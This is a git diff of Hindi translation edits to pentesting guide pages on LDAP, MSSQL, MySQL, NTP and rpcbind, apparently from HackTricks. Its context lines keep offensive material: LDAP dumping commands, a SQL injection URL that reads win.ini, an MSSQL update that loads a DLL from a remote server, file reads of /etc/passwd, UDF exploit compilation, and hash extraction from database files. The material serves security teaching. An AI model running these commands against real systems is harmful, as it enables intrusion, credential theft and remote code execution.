+यदि आपके पास LDAP सर्वर में लॉगिन करने के लिए मान्य क्रेडेंशियल्स हैं, तो आप निम्नलिखित का उपयोग करके डोमेन एडमिन के बारे में सभी जानकारी डंप कर सकते हैं:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
@@ -100,7 +100,7 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty
### Automated
-इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे:
+इसका उपयोग करके आप **सार्वजनिक जानकारी** (जैसे डोमेन नाम)**:** देख सकेंगे।
```bash
nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
```
@@ -112,7 +112,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
आप **python का उपयोग करके क्रेडेंशियल्स के साथ या बिना LDAP को सूचीबद्ध करने** की कोशिश कर सकते हैं: `pip3 install ldap3`
-पहले **क्रेडेंशियल्स के बिना** कनेक्ट करने की कोशिश करें:
+पहले **बिना** क्रेडेंशियल्स के **कनेक्ट करने** की कोशिश करें:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
@@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
True
>>> server.info
```
-यदि प्रतिक्रिया `True` है जैसे कि पिछले उदाहरण में, आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से:
+यदि प्रतिक्रिया `True` है जैसे कि पिछले उदाहरण में, तो आप LDAP से कुछ **दिलचस्प डेटा** प्राप्त कर सकते हैं (जैसे **नामकरण संदर्भ** या **डोमेन नाम**) सर्वर से:
```bash
>>> server.info
DSA info (from DSE):
@@ -129,7 +129,7 @@ Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
-एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक क्वेरी बना सकते हैं। यह सरल क्वेरी आपको निर्देशिका में सभी वस्तुओं को दिखानी चाहिए:
+एक बार जब आपके पास नामकरण संदर्भ हो, तो आप कुछ और रोमांचक प्रश्न पूछ सकते हैं। यह सरल प्रश्न आपको निर्देशिका में सभी वस्तुओं को दिखाना चाहिए:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
@@ -160,7 +160,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
```
### ldapsearch
-शून्य क्रेडेंशियल्स की जांच करें या यदि आपके क्रेडेंशियल्स मान्य हैं:
+खाली क्रेडेंशियल्स की जांच करें या यदि आपके क्रेडेंशियल्स मान्य हैं:
```bash
ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC="
ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC="
@@ -201,7 +201,7 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN= -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
-**डोमेन उपयोगकर्ता निकालें**:
+**डोमेन उपयोगकर्ता**:
```bash
ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC="
```
@@ -270,11 +270,11 @@ echo "$line";
echo "======================"
done
```
-## ग्राफिकल इंटरफेस
+## Graphical Interface
### Apache Directory
-[**यहां से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html)। आप इस उपकरण का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)।
+[**यहां से Apache Directory डाउनलोड करें**](https://directory.apache.org/studio/download/download-linux.html). आप इस उपकरण का [उदाहरण यहां देख सकते हैं](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
### jxplorer
@@ -300,9 +300,9 @@ Ldapx एक लचीला LDAP प्रॉक्सी है जिसक
आप इसे [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) से प्राप्त कर सकते हैं।
-## kerberos के माध्यम से प्रमाणीकरण
+## Authentication via kerberos
-`ldapsearch` का उपयोग करके आप **NTLM** के बजाय **kerberos** के खिलाफ **प्रमाणित** कर सकते हैं, इसके लिए पैरामीटर `-Y GSSAPI` का उपयोग करें।
+`ldapsearch` का उपयोग करके आप **kerberos के खिलाफ** **NTLM** के बजाय **प्रमाणीकृत** कर सकते हैं, इसके लिए `-Y GSSAPI` पैरामीटर का उपयोग करें।
## POST
@@ -310,7 +310,7 @@ Ldapx एक लचीला LDAP प्रॉक्सी है जिसक
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
-आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक बिना 'structural' जोड़े) दे सकते हैं।
+आप जॉन को पासवर्ड हैश ( '{SSHA}' से 'structural' तक 'structural' जोड़े बिना) दे सकते हैं।
### कॉन्फ़िगरेशन फ़ाइलें
@@ -335,7 +335,7 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
- Sun ONE Directory Server 5.1
- 75sas.ldif
-## HackTricks स्वचालित आदेश
+## HackTricks स्वचालित कमांड
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
index 6ae3ff549..ac5e2822a 100644
--- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
+++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md
@@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
-> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किए जाने पर उसे पुनः प्राप्त करना है—जो या तो उसी कंप्यूटर पर या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर चल सकते हैं।
+> **Microsoft SQL Server** एक **रिलेशनल डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर चल सकते हैं।
**डिफ़ॉल्ट पोर्ट:** 1433
```
@@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह SQL Server उदाहरण के लिए सभी सिस्टम-स्तरीय विवरण कैप्चर करता है।
- **msdb Database**: SQL Server एजेंट इस डेटाबेस का उपयोग अलर्ट और नौकरियों के लिए शेड्यूलिंग प्रबंधित करने के लिए करता है।
-- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहाँ आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
-- **Resource Database**: एक केवल-पढ़ने योग्य डेटाबेस जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
+- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहां आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
+- **Resource Database**: एक पढ़ने के लिए केवल डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
- **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट के लिए एक अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है।
## Enumeration
@@ -32,7 +32,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping
> [!NOTE]
> यदि आपके पास **क्रेडेंशियल्स** **नहीं हैं** तो आप उन्हें अनुमान लगाने की कोशिश कर सकते हैं। आप nmap या metasploit का उपयोग कर सकते हैं। सावधान रहें, यदि आप एक मौजूदा उपयोगकर्ता नाम का उपयोग करके कई बार लॉगिन करने में असफल होते हैं तो आप **खातों को ब्लॉक** कर सकते हैं।
-#### Metasploit (क्रेडेंशियल्स की आवश्यकता)
+#### Metasploit (need creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@@ -156,13 +156,13 @@ SELECT * FROM sysusers
#### अनुमतियाँ प्राप्त करें
1. **Securable:** SQL Server द्वारा पहुँच नियंत्रण के लिए प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है:
-- **सर्वर** – उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
-- **डेटाबेस** – उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
-- **स्कीमा** – इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
-2. **अनुमति:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
-- **सर्वर स्तर** लॉगिन का उपयोग करके
-- **डेटाबेस स्तर** उपयोगकर्ताओं का उपयोग करके
-3. **प्रमुख:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
+- **Server** – उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
+- **Database** – उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
+- **Schema** – इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
+2. **Permission:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
+- **Server Level** लॉगिन का उपयोग करके
+- **Database Level** उपयोगकर्ताओं का उपयोग करके
+3. **Principal:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं में शामिल होते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### OS कमांड्स चलाना
> [!CAUTION]
-> ध्यान दें कि कमांड्स चलाने के लिए केवल **`xp_cmdshell`** **सक्रिय** होना आवश्यक नहीं है, बल्कि **`xp_cmdshell` स्टोर की गई प्रक्रिया पर EXECUTE अनुमति भी होनी चाहिए**। आप यह जान सकते हैं कि कौन (sysadmins को छोड़कर) **`xp_cmdshell`** का उपयोग कर सकता है:
+> ध्यान दें कि कमांड्स चलाने के लिए केवल **`xp_cmdshell`** **सक्रिय** होना ही आवश्यक नहीं है, बल्कि **`xp_cmdshell` स्टोर की गई प्रक्रिया पर EXECUTE अनुमति भी होनी चाहिए**। आप यह जान सकते हैं कि कौन (sysadmins को छोड़कर) **`xp_cmdshell`** का उपयोग कर सकता है:
>
> ```sql
> Use master
@@ -269,8 +269,8 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
-**responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\
-आप देख सकते हैं कि इन उपकरणों का उपयोग कैसे करें:
+**Responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\
+आप इन उपकरणों का उपयोग कैसे करें, यह देख सकते हैं:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@@ -319,7 +319,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
-### **RCE/फाइलें पढ़ना स्क्रिप्ट चलाना (Python और R)**
+### **RCE/फाइलें पढ़ना स्क्रिप्ट्स चलाना (Python और R)**
MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड एक **अलग उपयोगकर्ता** द्वारा चलाए जाएंगे जो **xp_cmdshell** का उपयोग करके कमांड्स चलाता है।
@@ -341,7 +341,7 @@ print(sys.version)
'
GO
```
-### रजिस्ट्र्री पढ़ें
+### रजिस्ट्रि पढ़ें
Microsoft SQL Server **कई विस्तारित स्टोर प्रक्रियाएँ** प्रदान करता है जो आपको न केवल नेटवर्क के साथ बल्कि फ़ाइल सिस्टम और यहां तक कि [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** के साथ इंटरैक्ट करने की अनुमति देती हैं:**
@@ -370,13 +370,13 @@ For **अधिक उदाहरणों** के लिए [**मूल स
### RCE with MSSQL User Defined Function - SQLHttp
-यह **कस्टम फ़ंक्शंस** के साथ MSSQL के भीतर एक .NET dll **लोड करना संभव है**। हालांकि, इसके लिए **`dbo` एक्सेस की आवश्यकता है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है।
+यह **कस्टम फ़ंक्शंस के साथ MSSQL के भीतर एक .NET dll लोड करना संभव है**। हालांकि, इसके लिए **`dbo` एक्सेस की आवश्यकता होती है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है।
[**इस लिंक का पालन करें**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) एक उदाहरण देखने के लिए।
### RCE with `autoadmin_task_agents`
-[ **इस पोस्ट के अनुसार**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), एक रिमोट dll लोड करना और MSSQL को इसे कुछ इस तरह से निष्पादित करना भी संभव है:
+[ **इस पोस्ट के अनुसार**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), यह भी संभव है कि एक रिमोट dll लोड करें और MSSQL को इसे कुछ इस तरह से निष्पादित करने के लिए मजबूर करें:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
@@ -432,13 +432,13 @@ public void Test()
```
### अन्य तरीके RCE के लिए
-कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)।
+कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## MSSQL विशेषाधिकार वृद्धि
### db_owner से sysadmin तक
-यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक admin** उपयोगकर्ता द्वारा स्वामित्व वाली **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **admin** के रूप में **execute** किया जा सकता है।
+यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक admin** उपयोगकर्ता द्वारा स्वामित्व वाले **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **admin** के रूप में **execute** किया जा सकता है।
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@@ -527,7 +527,7 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
-## MSSQL का उपयोग करना स्थिरता के लिए
+## MSSQL का उपयोग करना स्थायीता के लिए
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md
index 5ae35b6fe..12260ccb0 100644
--- a/src/network-services-pentesting/pentesting-mysql.md
+++ b/src/network-services-pentesting/pentesting-mysql.md
@@ -116,7 +116,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
-(ध्यान दें "local" शब्द)\
+(शब्द "local" पर ध्यान दें)\
क्योंकि "local" के बिना आप प्राप्त कर सकते हैं:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@@ -124,8 +124,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
-**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाया जाए:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
-**यहां आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
+**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
+**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@@ -147,8 +147,8 @@ MySQL सेवाओं की कॉन्फ़िगरेशन में,
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
- **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
-- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
-- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
+- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
+- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनियों के उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
- **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके।
### विशेषाधिकार वृद्धि
@@ -175,7 +175,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
-यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करें और **linux कमजोर मशीन के अंदर इसे संकलित करें**:
+यदि आपके पास वे लाइब्रेरी **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@@ -222,9 +222,9 @@ cat /etc/mysql/debian.cnf
```
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**।
-फाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं_।
+फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
-आप उन्हें निकाल सकते हैं:
+आप इन्हें निकाल सकते हैं:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md
index 99eb528f0..319c33d09 100644
--- a/src/network-services-pentesting/pentesting-ntp.md
+++ b/src/network-services-pentesting/pentesting-ntp.md
@@ -4,18 +4,18 @@
## Basic Information
-**नेटवर्क टाइम प्रोटोकॉल (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीक रूप से समन्वयित करें। यह IT संचालन, सुरक्षा, और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
+**Network Time Protocol (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीकता से समन्वयित करें। यह आईटी संचालन, सुरक्षा, और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
### Summary & Security Tips:
-- **उद्देश्य**: नेटवर्क पर उपकरणों की घड़ियों को समन्वयित करना।
-- **महत्व**: सुरक्षा, लॉगिंग, और संचालन के लिए महत्वपूर्ण।
-- **सुरक्षा उपाय**:
+- **Purpose**: नेटवर्क पर उपकरणों की घड़ियों को समन्वयित करता है।
+- **Importance**: सुरक्षा, लॉगिंग, और संचालन के लिए महत्वपूर्ण।
+- **Security Measures**:
- प्रमाणीकरण के साथ विश्वसनीय NTP स्रोतों का उपयोग करें।
- NTP सर्वर नेटवर्क पहुंच को सीमित करें।
- छेड़छाड़ के संकेतों के लिए समन्वय की निगरानी करें।
-**डिफ़ॉल्ट पोर्ट:** 123/udp
+**Default port:** 123/udp
```
PORT STATE SERVICE REASON
123/udp open ntp udp-response
diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md
index 0f7bb17cf..8b914c605 100644
--- a/src/network-services-pentesting/pentesting-rpcbind.md
+++ b/src/network-services-pentesting/pentesting-rpcbind.md
@@ -4,7 +4,7 @@
## Basic Information
-**Portmapper** एक सेवा है जिसका उपयोग नेटवर्क सेवा पोर्ट को **RPC** (Remote Procedure Call) प्रोग्राम नंबरों से मैप करने के लिए किया जाता है। यह **Unix-based systems** में एक महत्वपूर्ण घटक के रूप में कार्य करता है, इन सिस्टमों के बीच जानकारी के आदान-प्रदान को सुविधाजनक बनाता है। **Portmapper** से संबंधित **port** अक्सर हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में चल रहे **Unix Operating System (OS)** का प्रकार और सिस्टम पर उपलब्ध सेवाओं के बारे में विवरण शामिल है। इसके अतिरिक्त, **Portmapper** को आमतौर पर **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-based services** के साथ मिलकर नेटवर्क सेवाओं को प्रभावी ढंग से प्रबंधित करने के लिए उपयोग किया जाता है।
+**Portmapper** एक सेवा है जिसका उपयोग नेटवर्क सेवा पोर्ट को **RPC** (Remote Procedure Call) प्रोग्राम नंबरों से मैप करने के लिए किया जाता है। यह **Unix-based systems** में एक महत्वपूर्ण घटक के रूप में कार्य करता है, जो इन सिस्टमों के बीच जानकारी के आदान-प्रदान को सुविधाजनक बनाता है। **Portmapper** से संबंधित **port** अक्सर हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में चल रहे **Unix Operating System (OS)** का प्रकार और सिस्टम पर उपलब्ध सेवाओं के बारे में विवरण शामिल है। इसके अतिरिक्त, **Portmapper** को आमतौर पर **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-based services** के साथ मिलकर नेटवर्क सेवाओं को प्रभावी ढंग से प्रबंधित करने के लिए उपयोग किया जाता है।
**Default port:** 111/TCP/UDP, 32771 in Oracle Solaris
```
@@ -26,11 +26,11 @@ nmap -sSUC -p111 192.168.10.1
## RPCBind + NFS
-यदि आप सेवा NFS पाते हैं तो शायद आप फ़ाइलों को सूचीबद्ध और डाउनलोड (और शायद अपलोड) कर सकेंगे:
+यदि आप सेवा NFS पाते हैं तो शायद आप फ़ाइलों को सूचीबद्ध और डाउनलोड (और शायद अपलोड) करने में सक्षम होंगे:
.png>)
-इस प्रोटोकॉल का परीक्षण करने के बारे में अधिक जानने के लिए पढ़ें[ 2049 - Pentesting NFS service](nfs-service-pentesting.md).
+Read[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) इस प्रोटोकॉल का परीक्षण करने के बारे में अधिक जानने के लिए।
## NIS
@@ -38,9 +38,9 @@ nmap -sSUC -p111 192.168.10.1
.png>)
